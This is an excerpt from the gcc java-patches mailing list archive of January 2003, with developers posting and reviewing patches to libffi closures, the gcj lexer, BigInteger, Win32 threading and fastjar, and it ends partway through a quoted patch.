java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4477 invoked from network); 28 Jan 2003 14:37:17 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 28 Jan 2003 14:37:17 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-11.rdu.redhat.com [172.16.50.11]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 6FE81ABAFC; Tue, 28 Jan 2003 14:37:13 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0SEbBw19055; Tue, 28 Jan 2003 14:37:11 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15926.38295.573099.548799@cuddles.cambridge.redhat.com> Date: Tue, 28 Jan 2003 14:37:11 +0000 (GMT) To: Jakub Jelinek Cc: java-patches@gcc.gnu.org, gcc-patches@gcc.gnu.org Subject: Re: Libffi: closures for x86_64 In-Reply-To: <20030128093535.I4197@devserv.devel.redhat.com> References: <200301271745.h0RHjNj03409@cuddles.cambridge.redhat.com> <20030128093535.I4197@devserv.devel.redhat.com> Jakub Jelinek writes: > On Mon, Jan 27, 2003 at 05:45:23PM +0000, Andrew Haley wrote: > > + tramp = (unsigned short *) &closure->tramp[0]; > > + tramp[0] = 0xbb49; /* mov , %r11d */ > > ^^^ comment typo > The instruction is mov , %r11, not mov , %r11d. OK. > > + tramp[5] = 0xba49; /* mov , %r10 */ > > + tramp[10] = 0xff49; /* jmp *%r11 */ > > + tramp[11] = 0x00e3; > > + *(void **) &tramp[1] = ffi_closure_UNIX64; > > + *(void **) &tramp[6] = closure; > > And this is aliasing bug. It certainly is. Thanks. Andrew. From java-patches-return-5943-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 18:46:47 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12825 invoked by alias); 28 Jan 2003 18:46:47 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12813 invoked from network); 28 Jan 2003 18:46:46 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 28 Jan 2003 18:46:46 -0000 Received: from fleche.redhat.com (tz0183.peakpeak.com [207.174.69.183]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA21608; Tue, 28 Jan 2003 11:46:43 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 13AFC4F8073; Tue, 28 Jan 2003 11:41:22 -0700 (MST) To: Java Patch List Cc: Gcc Patch List Subject: Patch: FYI: gcj lexer fixes From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Are we live or on tape? Date: 28 Jan 2003 11:41:21 -0700 Message-ID: <87u1ftw20e.fsf@fleche.redhat.com> Lines: 165 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to the trunk and the 3.3 branch. This patch fixes a couple of lexer bugs. First, we would ICE if certain kinds of tokens appeared just before EOF. This was caught by a Jacks test. There are probably other bugs like this in the lexer not caught by Jacks (parts of the lexer are pretty ugly, but fixing them all is too much for now). Second, we would fail to give an error if a \u sequence was prematurely terminated by EOF. Again, Jacks caught this. Tested on x86 Red Hat Linux 7.3. The patch includes a change to remove a bunch of Jacks XFAILs; now almost all of the lexer tests pass. The remaining one or two, as I recall, touch on buggy areas outside the lexer. Tom Index: gcc/java/ChangeLog from Tom Tromey * lex.c (java_lex): Don't include UEOF as part of token. (java_read_unicode): Error if \u sequence prematurely terminated. Index: gcc/java/lex.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/lex.c,v retrieving revision 1.101 diff -u -r1.101 lex.c --- gcc/java/lex.c 12 Jan 2003 02:14:55 -0000 1.101 +++ gcc/java/lex.c 28 Jan 2003 18:37:18 -0000 @@ -542,23 +542,31 @@ while ((c = java_read_char (lex)) == 'u') ; - /* Unget the most recent character as it is not a `u'. */ - if (c == UEOF) - return UEOF; - lex->unget_value = c; - - /* Next should be 4 hex digits, otherwise it's an error. - The hex value is converted into the unicode, pushed into - the Unicode stream. */ - for (shift = 12; shift >= 0; shift -= 4) + shift = 12; + do { - if ((c = java_read_char (lex)) == UEOF) - return UEOF; + if (c == UEOF) + { + java_lex_error ("prematurely terminated \\u sequence", 0); + return UEOF; + } + if (hex_p (c)) unicode |= (unicode_t)(hex_value (c) << shift); else - java_lex_error ("Non hex digit in Unicode escape sequence", 0); + { + java_lex_error ("non-hex digit in \\u sequence", 0); + break; + } + + c = java_read_char (lex); + shift -= 4; } + while (shift >= 0); + + if (c != UEOF) + lex->unget_value = c; + lex->bs_count = 0; *unicode_escape_p = 1; return unicode; @@ -1514,7 +1522,7 @@ /* Keyword, boolean literal or null literal. */ for (first_unicode = c, all_ascii = 1, ascii_index = 0; - JAVA_PART_CHAR_P (c); c = java_get_unicode ()) + c != UEOF && JAVA_PART_CHAR_P (c); c = java_get_unicode ()) { java_unicode_2_utf8 (c); if (all_ascii && c >= 128) @@ -1524,7 +1532,8 @@ obstack_1grow (&temporary_obstack, '\0'); string = obstack_finish (&temporary_obstack); - java_unget_unicode (); + if (c != UEOF) + java_unget_unicode (); /* If we have something all ascii, we consider a keyword, a boolean literal, a null literal or an all ASCII identifier. Otherwise, Index: libjava/testsuite/ChangeLog from Tom Tromey * libjava.jacks/jacks.xfail: More lexer tests now pass. Index: libjava/testsuite/libjava.jacks/jacks.xfail =================================================================== RCS file: /cvs/gcc/gcc/libjava/testsuite/libjava.jacks/jacks.xfail,v retrieving revision 1.3 diff -u -r1.3 jacks.xfail --- libjava/testsuite/libjava.jacks/jacks.xfail 21 Jan 2003 18:50:28 -0000 1.3 +++ libjava/testsuite/libjava.jacks/jacks.xfail 28 Jan 2003 18:37:30 -0000 @@ -611,46 +611,7 @@ 9.2-implicit-17 9.2-implicit-18 9.2-implicit-19 -3.7-line-number-1 -3.7-line-number-2 -3.7-line-number-3 -3.7-line-number-4 -3.7-line-number-5 -3.7-line-number-6 -3.7-line-number-7 -3.7-line-number-8 -3.7-line-number-9 -3.7-line-number-10 -3.7-line-number-11 -3.7-line-number-12 -3.7-line-number-13 -3.7-line-number-14 3.2-valid-1 -3.4-line-number-1 -3.4-line-number-2 -3.4-line-number-3 -3.4-line-number-4 -3.4-line-number-5 -3.4-line-number-6 -3.4-line-number-7 -3.4-line-number-8 -3.4-line-number-9 -3.4-line-number-10 -3.4-line-number-11 -3.4-line-number-12 -3.4-line-number-13 -3.4-line-number-14 -3.4-line-number-15 -3.4-line-number-16 -3.4-line-number-17 -3.4-line-number-18 -3.4-line-number-19 -3.4-line-number-20 -3.4-line-number-21 -3.4-line-number-22 -3.4-line-number-23 -3.4-line-number-24 -3.4-line-number-25 3.10.2-round-6 3.10.2-round-7 3.10.2-round-9 @@ -661,10 +622,6 @@ 3.10.2-double-14 3.10.1-invalid-3 3.10.1-invalid-4 -3.3-invalid-5 -3.3-invalid-6 -3.3-invalid-7 -3.3-invalid-8 6.6.2.2-protected-creation-3 6.6.2.1-protected-instance-field-3 6.6.2.1-protected-instance-field-4 From java-patches-return-5944-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 18:47:33 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14081 invoked by alias); 28 Jan 2003 18:47:33 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14065 invoked from network); 28 Jan 2003 18:47:32 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by 172.16.49.205 with SMTP; 28 Jan 2003 18:47:32 -0000 Received: from bothner.com (eureka.bothner.com [192.168.1.9]) by bothner.com (8.12.5/8.12.5) with ESMTP id h0SInSnw024699; Tue, 28 Jan 2003 10:49:29 -0800 Message-ID: <3E36CE2D.6080704@bothner.com> Date: Tue, 28 Jan 2003 10:38:37 -0800 From: Per Bothner User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2) Gecko/20021202 X-Accept-Language: en-us, en MIME-Version: 1.0 To: raif@fl.net.au CC: java-patches@gcc.gnu.org Subject: Re: BigInteger patch (long) References: <200212262244.25772.raif@fl.net.au> In-Reply-To: <200212262244.25772.raif@fl.net.au> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Raif S. Naffah wrote: > hello there, > > the following is the diff for a modified BigInteger: > > * merged make(long) and valueOf(long), into the latter. > * reduced the use of extraneous variables in the recursive calls to > euclidInv(BigInteger, BigInteger, BigInteger) by implementing > Per Bothner's earlier suggestion. the method has now 3 additional > BigInteger args for use as temp vars. > * reduced the returned value of euclidInv(int, int, int) to an array > of just 2 ints rather than 3. > * performance improvement of the isProbablePrime() method, including > among other things, a parameterised number of iterations based on the > user-specified 'certainty' argument and the bit-length of the mpi to > test. a simple test i wrote shows a clear improvement --the current > implementation averages 1258ms compared to 112ms for the new one > (timing for 512-bit primes, on a 1700+ athlon-xp with jdk1.3.1_06). > btw, the jdk 1.3.1 gives almost the same figures. > * removed some unused methods and local variables. > * updated the copyright dates. A meta-comment: This is a number of independent changes. In the future, it is better if you can submit them individually. Of course I'm not qualified to judge the euclidInv and isProbablePrime algorithms, and I didn't really more than glance at them. And generally, I didn't "audit" the patch, just check for sanity. I did note these nits: Just delete these lines - unless you think they're helpful: // BigInteger tmp = x; x = y; y = tmp; // BigInteger xy2 = new BigInteger(); // euclidInv(y, rem, quot, xy0, xy1, xy2); In private static final int gcd(int a, int b) I prefer the older style with two local tmp variables - I prefer to keep local declarations local, and to combine initialization with declaration. (It seems you generally do, too.) Otherwise it looks good to me. Thanks! If you have CVS acces, please check it in. -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-patches-return-5945-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 18:52:45 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19536 invoked by alias); 28 Jan 2003 18:52:45 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19528 invoked from network); 28 Jan 2003 18:52:44 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 28 Jan 2003 18:52:44 -0000 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18daoj-0006r0-00 for ; Tue, 28 Jan 2003 19:50:41 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18daiE-0006Fq-00 for ; Tue, 28 Jan 2003 19:43:58 +0100 From: Ranjit Mathew Subject: Re: Patch for Review: PR/9254 and other Win32 Threading Fixes Date: Wed, 29 Jan 2003 00:17:40 +0530 Lines: 319 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en In-Reply-To: Ranjit Mathew wrote: >> Doesn't this reset the owner field to zero even for a nested >> _Jv_MutexUnlock call? I suspect you need a count field to correctly >> maintain the owner field, unless you can somehow get at the one that's >> already inside the CriticalSection. > > > Your observation about the potential bug is correct. > Sorry! (And Tom would also chide me for not including a > "Fixes PR java/9254" in the ChangeLog - Sorry again!) Submitting this (yet) again after incorporating Hans's feedback: --------------------------------- 8< --------------------------------- 2003-01-28 Ranjit Mathew Fixes PR java/9254 * include/win32-threads.h (_Jv_Mutex_t): Convert to a struct additionally containing id of the owner thread as well as the number of nested times the thread has acquired the mutex. (_Jv_MutexInit): Initialise owner thread id and refcount to 0. (_Jv_MutexDestroy): Reset owner thread id and refcount to 0. (_Jv_MutexUnlock): Check if really the owner thread, reset owner thread id to 0 before leaving, if leaving for the last time. (_Jv_MutexLock): Set owner thread id in the mutex and increment refcount. (_Jv_ThreadYield): Yield using a call to Sleep(0). * win32-threads.cc (_Jv_CondWait): Check if really owner of the passed mutex. Pass handle of the broadcast event, instead of a pointer to it in Win32 ResetEvent( ) call. Remove incorrect return values. (_Jv_CondDestroy): Close both event handles and delete critical section. (_Jv_CondNotify): Check if really the owner thread. (_Jv_CondNotifyAll): Check if really the owner thread. (_Jv_InitThreads): Change daemon_cond to a manual-reset event. (really_start): Use SetEvent( ) to signal daemon_cond. (_Jv_ThreadWait): Remove SignalObjectAndWait( ) and use WaitForSingleObject( ) instead to wait for daemon_cond to be signalled. --- include/win32-threads.h 2003-01-14 20:23:56.000000000 +0530 +++ include/win32-threads.h 2003-01-28 19:20:51.000000000 +0530 @@ -2,5 +2,6 @@ // win32-threads.h - Defines for using Win32 threads. -/* Copyright (C) 1998, 1999, 2000 Free Software Foundation +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software + Foundation This file is part of libgcj. @@ -19,11 +20,30 @@ // -typedef struct _Jv_ConditionVariable_t { +typedef struct +{ + // ev[0] (signal) is a Win32 auto-reset event for _Jv_CondNotify + // ev[1] (broadcast) is a Win32 manual-reset event for _Jv_CondNotifyAll HANDLE ev[2]; - CRITICAL_SECTION count_mutex; + + // Number of threads waiting on this condition variable int blocked_count; -}; -typedef CRITICAL_SECTION _Jv_Mutex_t; + // Protects access to the blocked_count variable + CRITICAL_SECTION count_mutex; + +} _Jv_ConditionVariable_t; + +typedef struct +{ + // The thread-id of the owner thread if any, 0 otherwise + DWORD owner; + + // Track nested mutex acquisitions by the same thread + int refcount; + + // The actual Windows construct used to implement this mutex + CRITICAL_SECTION cs; + +} _Jv_Mutex_t; typedef struct @@ -61,5 +81,7 @@ inline void _Jv_MutexInit (_Jv_Mutex_t *mu) { - InitializeCriticalSection(mu); + mu->owner = 0UL; + mu->refcount = 0; + InitializeCriticalSection (&(mu->cs)); } @@ -67,5 +89,7 @@ inline void _Jv_MutexDestroy (_Jv_Mutex_t *mu) { - DeleteCriticalSection(mu); + mu->owner = 0UL; + mu->refcount = 0; + DeleteCriticalSection (&(mu->cs)); mu = NULL; } @@ -73,11 +97,21 @@ inline int _Jv_MutexUnlock (_Jv_Mutex_t *mu) { - LeaveCriticalSection(mu); - return 0; + if (mu->owner == GetCurrentThreadId ( )) + { + mu->refcount--; + if (mu->refcount == 0) + mu->owner = 0UL; + LeaveCriticalSection (&(mu->cs)); + return 0; + } + else + return 1; } inline int _Jv_MutexLock (_Jv_Mutex_t *mu) { - EnterCriticalSection(mu); + EnterCriticalSection (&(mu->cs)); + mu->owner = GetCurrentThreadId ( ); + mu->refcount++; return 0; } @@ -105,7 +139,5 @@ inline void _Jv_ThreadYield (void) { - // FIXME: win98 freezes hard (OS hang) when we use this -- - // for now, we simply don't yield - // Sleep (0); + Sleep (0); } --- win32-threads.cc 2003-01-14 20:23:53.000000000 +0530 +++ win32-threads.cc 2003-01-28 19:21:56.000000000 +0530 @@ -1,5 +1,6 @@ // win32-threads.cc - interface between libjava and Win32 threads. -/* Copyright (C) 1998, 1999 Free Software Foundation, Inc. +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software + Foundation, Inc. This file is part of libgcj. @@ -71,10 +72,12 @@ ensure_condvar_initialized(_Jv_ConditionVariable_t *cv) { - if (cv->ev[0] == 0) { - cv->ev[0] = CreateEvent (NULL, 0, 0, NULL); - if (cv->ev[0] == 0) JvFail("CreateEvent() failed"); - cv->ev[1] = CreateEvent (NULL, 1, 0, NULL); - if (cv->ev[1] == 0) JvFail("CreateEvent() failed"); - } + if (cv->ev[0] == 0) + { + cv->ev[0] = CreateEvent (NULL, 0, 0, NULL); + if (cv->ev[0] == 0) JvFail("CreateEvent() failed"); + + cv->ev[1] = CreateEvent (NULL, 1, 0, NULL); + if (cv->ev[1] == 0) JvFail("CreateEvent() failed"); + } } @@ -86,9 +89,11 @@ _Jv_CondWait(_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *mu, jlong millis, jint nanos) { + if (mu->owner != GetCurrentThreadId ( )) + return _JV_NOT_OWNER; - EnterCriticalSection(&cv->count_mutex); - ensure_condvar_initialized(cv); + EnterCriticalSection (&cv->count_mutex); + ensure_condvar_initialized (cv); cv->blocked_count++; - LeaveCriticalSection(&cv->count_mutex); + LeaveCriticalSection (&cv->count_mutex); DWORD time; @@ -103,16 +108,15 @@ EnterCriticalSection(&cv->count_mutex); cv->blocked_count--; - // If we were unblocked by the second event (the broadcast one) and nobody is - // left, then reset the signal. - int last_waiter = rval == WAIT_OBJECT_0 + 1 && cv->blocked_count == 0; + // If we were unblocked by the second event (the broadcast one) + // and nobody is left, then reset the event. + int last_waiter = (rval == (WAIT_OBJECT_0 + 1)) && (cv->blocked_count == 0); LeaveCriticalSection(&cv->count_mutex); - if (last_waiter) ResetEvent(&cv->ev[1]); + if (last_waiter) + ResetEvent (cv->ev[1]); _Jv_MutexLock (mu); - if (rval == WAIT_FAILED) return GetLastError(); - else if (rval == WAIT_TIMEOUT) return ETIMEDOUT; - else return 0; + return 0; } @@ -122,5 +126,5 @@ // we do lazy creation of Events since CreateEvent() is insanely expensive cv->ev[0] = 0; - InitializeCriticalSection(&cv->count_mutex); + InitializeCriticalSection (&cv->count_mutex); cv->blocked_count = 0; } @@ -129,30 +133,49 @@ _Jv_CondDestroy (_Jv_ConditionVariable_t *cv) { - if (cv->ev[0] != 0) CloseHandle(cv->ev[0]); + if (cv->ev[0] != 0) + { + CloseHandle (cv->ev[0]); + CloseHandle (cv->ev[1]); + + cv->ev[0] = 0; + } + + DeleteCriticalSection (&cv->count_mutex); + cv = NULL; } int -_Jv_CondNotify (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *) +_Jv_CondNotify (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *mu) { - EnterCriticalSection(&cv->count_mutex); - ensure_condvar_initialized(cv); + if (mu->owner != GetCurrentThreadId ( )) + return _JV_NOT_OWNER; + + EnterCriticalSection (&cv->count_mutex); + ensure_condvar_initialized (cv); int somebody_is_blocked = cv->blocked_count > 0; - LeaveCriticalSection(&cv->count_mutex); + LeaveCriticalSection (&cv->count_mutex); + + if (somebody_is_blocked) + SetEvent (cv->ev[0]); - if (somebody_is_blocked) return SetEvent (cv->ev[0]) ? 0 : GetLastError(); - else return 0; + return 0; } int -_Jv_CondNotifyAll (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *) +_Jv_CondNotifyAll (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *mu) { - EnterCriticalSection(&cv->count_mutex); - ensure_condvar_initialized(cv); + if (mu->owner != GetCurrentThreadId ( )) + return _JV_NOT_OWNER; + + EnterCriticalSection (&cv->count_mutex); + ensure_condvar_initialized (cv); int somebody_is_blocked = cv->blocked_count > 0; - LeaveCriticalSection(&cv->count_mutex); + LeaveCriticalSection (&cv->count_mutex); - if (somebody_is_blocked) return SetEvent (cv->ev[1]) ? 0 : GetLastError(); - else return 0; + if (somebody_is_blocked) + SetEvent (cv->ev[1]); + + return 0; } @@ -166,6 +189,6 @@ _Jv_ThreadKey = TlsAlloc(); _Jv_ThreadDataKey = TlsAlloc(); - daemon_mutex = CreateMutex(NULL, 0, NULL); - daemon_cond = CreateEvent(NULL, 0, 0, NULL); + daemon_mutex = CreateMutex (NULL, 0, NULL); + daemon_cond = CreateEvent (NULL, 1, 0, NULL); non_daemon_count = 0; } @@ -256,5 +279,5 @@ non_daemon_count--; if (! non_daemon_count) - PulseEvent (daemon_cond); + SetEvent (daemon_cond); ReleaseMutex (daemon_mutex); } @@ -298,8 +321,10 @@ _Jv_ThreadWait (void) { - WaitForSingleObject(daemon_mutex, INFINITE); - if(non_daemon_count) - SignalObjectAndWait(daemon_mutex, daemon_cond, INFINITE, 0); - ReleaseMutex(daemon_mutex); + WaitForSingleObject (daemon_mutex, INFINITE); + if (non_daemon_count) + { + ReleaseMutex (daemon_mutex); + WaitForSingleObject (daemon_cond, INFINITE); + } } --------------------------------- 8< --------------------------------- Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-5946-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 19:03:37 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28175 invoked by alias); 28 Jan 2003 19:03:37 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28165 invoked from network); 28 Jan 2003 19:03:37 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 28 Jan 2003 19:03:37 -0000 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18dayK-0007fB-00 for ; Tue, 28 Jan 2003 20:00:36 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18dag1-00062U-00 for ; Tue, 28 Jan 2003 19:41:41 +0100 From: Ranjit Mathew Subject: Re: Patch for Review: Add regex functions checks to fastjar/configure.in Date: Wed, 29 Jan 2003 00:15:24 +0530 Lines: 41 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en In-Reply-To: Ranjit Mathew wrote: > The following is my attempt to address the fact that the > regex functions like regexec, regcomp, etc. might not be defined > in libc (as on Linux) and might need a separate library like > libregex (as on MinGW). The following alternative, suggested by Tom, makes use of the libiberty regex functions instead. ---------------------------------- 8< ---------------------------------- 2003-01-26 Ranjit Mathew * jargrep.c: Include xregex.h from libiberty instead of system regex.h for better portability. --- jargrep.c 2003-01-26 08:10:53.000000000 +0530 +++ jargrep.c 2003-01-26 08:28:11.000000000 +0530 @@ -106,5 +106,4 @@ #include #include -#include #include #include @@ -116,4 +115,7 @@ #include #endif + +#include "xregex.h" + #include "jargrep.h" #include "jartool.h" ---------------------------------- 8< ---------------------------------- Sincerely Yours, Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-5947-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 19:03:48 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28337 invoked by alias); 28 Jan 2003 19:03:48 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28328 invoked from network); 28 Jan 2003 19:03:48 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 28 Jan 2003 19:03:48 -0000 Received: from fleche.redhat.com (tz0183.peakpeak.com [207.174.69.183]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA26072; Tue, 28 Jan 2003 12:03:46 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id AE6004F8080; Tue, 28 Jan 2003 11:58:24 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Patch: Include platform.h in gnu/gcj/runtime/natStackTrace.cc References: <15922.58111.160019.861642@cuddles.cambridge.redhat.com> <87ptql6nrz.fsf@fleche.redhat.com> <15922.59359.864092.528020@cuddles.cambridge.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I once decorated my apartment entirely in ten foot salad forks!! Date: 28 Jan 2003 11:58:24 -0700 In-Reply-To: Message-ID: <87of61w17z.fsf@fleche.redhat.com> Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> This patch makes configure specifically define HAVE_BACKTRACE for Ranjit> MinGW, removes the HAVE_BACKTRACE from win32.h and makes Ranjit> natStackTrace.cc include platform.h. I'm checking this in to the trunk and the 3.3 branch. Ranjit> (NOTE: configure needs to be rebuilt after this.) Thanks. Ranjit> Checked with 3.3 on MinGW. Thanks again. Tom From java-patches-return-5948-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 20:10:57 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10532 invoked by alias); 28 Jan 2003 20:10:57 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10524 invoked from network); 28 Jan 2003 20:10:55 -0000 Received: from unknown (HELO gosset.megacz.com) (66.250.52.247) by 172.16.49.205 with SMTP; 28 Jan 2003 20:10:55 -0000 Received: from megacz by gosset.megacz.com with local (Exim 3.35 #1 (Debian)) id 18dc4M-0006wL-00; Tue, 28 Jan 2003 12:10:54 -0800 To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Patch for Review: PR/9254 and other Win32 Threading Fixes References: <3E2F9C87.60306@hotmail.com> <3E357196.6010902@hotmail.com> From: Adam Megacz X-Home-Page: http://www.megacz.com/ Organization: Myself Date: 28 Jan 2003 12:10:54 -0800 In-Reply-To: Ranjit Mathew's message of "Mon, 27 Jan 2003 23:21:18 +0530" Message-ID: <86adhlf31t.fsf@nowhere.com> Lines: 312 User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Looks good to me. - a Ranjit Mathew writes: > Ranjit Mathew wrote: > > This patch proposes to clean up the Win32 threads support in > > libgcj a bit and contains fixes for a few problems reported > > on the main list. These include: > > > Resubmitting in "diff -u2" format on Adam's request: > > -------------------------------- 8< -------------------------------- > 2003-01-27 Ranjit Mathew > > * include/win32-threads.h (_Jv_Mutex_t): Convert to a struct > containing id of the owner thread as well. > (_Jv_MutexInit): Initialise owner thread id to 0. > (_Jv_MutexDestroy): Reset owner thread id to 0. > (_Jv_MutexUnlock): Check if really the owner thread, reset > owner thread id to 0 before leaving. > (_Jv_MutexLock): Set owner thread id in the mutex. > (_Jv_ThreadYield): Yield using Win32 Sleep(0). > > * win32-threads.cc (_Jv_CondWait): Check if really owner of > the passed mutex. > Pass handle of broadcast event, instead of a pointer to it > in Win32 ResetEvent( ) call. > Remove incorrect return values. > (_Jv_CondDestroy): Close both event handles and delete > critical section. > (_Jv_CondNotify): Check if really the owner thread. > (_Jv_CondNotifyAll): Check if really the owner thread. > (_Jv_InitThreads): Change daemon_cond to a manual-reset event. > (really_start): Use SetEvent( ) to signal daemon_cond. > (_Jv_ThreadWait): Remove SignalObjectAndWait( ) and use > WaitForSingleObject( ) instead to wait for daemon_cond to be > signalled. > > --- include/win32-threads.h 2003-01-14 20:23:56.000000000 +0530 > +++ include/win32-threads.h 2003-01-27 20:57:05.000000000 +0530 > @@ -2,5 +2,6 @@ > // win32-threads.h - Defines for using Win32 threads. > > -/* Copyright (C) 1998, 1999, 2000 Free Software Foundation > +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software > + Foundation > > This file is part of libgcj. > @@ -19,11 +20,27 @@ > // > > -typedef struct _Jv_ConditionVariable_t { > +typedef struct > +{ > + // ev[0] (signal) is a Win32 auto-reset event for _Jv_CondNotify > + // ev[1] (broadcast) is a Win32 manual-reset event for _Jv_CondNotifyAll > HANDLE ev[2]; > - CRITICAL_SECTION count_mutex; > + > + // Number of threads waiting on this condition variable > int blocked_count; > -}; > > -typedef CRITICAL_SECTION _Jv_Mutex_t; > + // Protects access to the blocked_count variable > + CRITICAL_SECTION count_mutex; > + > +} _Jv_ConditionVariable_t; > + > +typedef struct > +{ > + // The thread-id of the owner thread if any, 0 otherwise > + DWORD owner; > + > + // The actual Windows construct used to implement this mutex > + CRITICAL_SECTION cs; > + > +} _Jv_Mutex_t; > > typedef struct > @@ -61,5 +78,6 @@ > inline void _Jv_MutexInit (_Jv_Mutex_t *mu) > { > - InitializeCriticalSection(mu); > + mu->owner = 0UL; > + InitializeCriticalSection (&(mu->cs)); > } > > @@ -67,5 +85,6 @@ > inline void _Jv_MutexDestroy (_Jv_Mutex_t *mu) > { > - DeleteCriticalSection(mu); > + mu->owner = 0UL; > + DeleteCriticalSection (&(mu->cs)); > mu = NULL; > } > @@ -73,11 +92,18 @@ > inline int _Jv_MutexUnlock (_Jv_Mutex_t *mu) > { > - LeaveCriticalSection(mu); > - return 0; > + if (mu->owner == GetCurrentThreadId ( )) > + { > + mu->owner = 